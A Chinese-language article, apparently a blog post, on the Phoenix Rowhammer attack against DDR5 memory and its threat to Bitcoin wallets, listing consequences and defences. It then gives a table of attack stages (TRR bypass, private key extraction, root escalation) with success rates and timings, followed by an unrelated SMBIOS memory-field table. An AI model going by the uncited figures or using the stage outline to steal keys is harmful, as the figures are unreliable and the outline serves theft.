Phoenix Rowhammer 攻击 对整个比特币基础设施构成了前所未有的风险,包括交易所、托管服务、矿池和个人用户。潜在后果包括: keyhunters
大规模泄露: 在存在易受攻击的 DDR5 内存的系统上,多个钱包可能同时被入侵,这可能导致大规模加密货币盗窃。
信任侵蚀: 成功的硬件攻击可能严重削弱人们对加密货币技术和整个区块链系统的信任。
双重支付攻击: 当来自多个服务的钱包同时被入侵时,攻击者可以利用泄露的密钥快速创建冲突交易。 keyhunters
根据加密货币安全研究,硬件漏洞是数字资产面临的最严重威胁之一。Phoenix 攻击加剧了这些风险,因为: merklescience+1
无法修补: 与软件 漏洞 不同,已制造的内存芯片中的硬件缺陷无法通过软件更新修复。 tenable+1
长期暴露: 2021 年至 2024 年间制造的 DDR5 模块在其整个使用寿命内(可能长达 10-15 年)都将保持易受攻击状态。
研究人员提出了几种防御 Phoenix Rowhammer 攻击的方法,尽管每种方法都有其局限性: tenable+1
提高内存刷新率: 将 DRAM 刷新间隔(tREFI)缩短三倍可以有效防止攻击,但会导致系统性能下降 8.4%。该解决方案还会增加系统不稳定和出错的风险。 simplysecuregroup
使用 ECC 内存: 纠错码(ECC)内存可以检测并纠正某些类型的位错误,但研究表明,现代 ECC 实现并不能针对复杂的 Rowhammer 攻击提供完全保护。 comsec-files.ethz+1
安全内存擦除: 所有处理私钥或助记词的应用应在使用后使用专用的安全擦除工具显式擦除其内存 。
| 攻击组件 | 技术方法 | 成功率 | 平均时间(秒) | CVE 参考 | 影响级别 |
|---|
| 初始内存访问 | 与 DDR5 刷新命令进行自校正同步 | 100 | 5 | CVE-2025-6202 | 高 |
| TRR 绕过方法 | 利用 TRR 机制中未监控的刷新间隔 | 100 | 30 | CVE-2025-6202 | 严重 |
| 同步技术 | 与 128 和 2608 tREFI 模式实时对齐 | 95 | 60 | CVE-2025-6202 | 高 |
| 比特翻转生成 | 相邻 DRAM 行中的电气干扰导致数据损坏 | 100 | 180 | CVE-2025-6202 | 严重 |
| 私钥提取 | 从未清理的包含钱包数据的内存缓冲区中恢复 | 85 | 240 | CVE-2025-8217 | 严重 |
| 权限提升 | 通过损坏的页表条目利用 root 访问权限 | 100 | 109 | CVE-2025-6202 | 严重 |
| RSA-2048 密钥恢复 | 通过内存比特翻转提取共存 VM 的私钥 | 73 | 380 | CVE-2025-6202 | 高 |
| SSH 认证破解 | 破坏密码认证系统 | 73 | 380 | CVE-2025-6202 | 高 |
| Sudo 二进制文件修改 | 通过二进制损坏将本地权限提升至 root 用户 | 33 | 300 | CVE-2025-6202 | 中 |
| 字段 | 描述 |
|---|
| Type | 17(内存设备) |
| Length | 结构大小 |
| Handle | 唯一标识符 |
| Physical Memory Array Handle | 对父内存数组的引用 |
| Memory Error Information Handle | 内存错误(如果有) |
| Total Width | 总总线宽度(位) |
| Data Width | 数据宽度(位) |
| Size | 内存大小(以 MB 或 GB 为单位) |
| Form Factor | 模块外形规格(DIMM 等) |
| Device Locator | 行 – 安装位置 |
| Bank Locator | 字符串 – 银行名称 |
| Memory Type | DDR3、DDR4、DDR5 等 |
| Type Detail | 附加详细信息 |
| Speed | 速度(以 MHz 为单位) |
| Manufacturer | 包含制造商名称的字符串 |
| Serial Number | 序列号 |
| Asset Tag | 会计标签 |
| Part Number | 部件号 |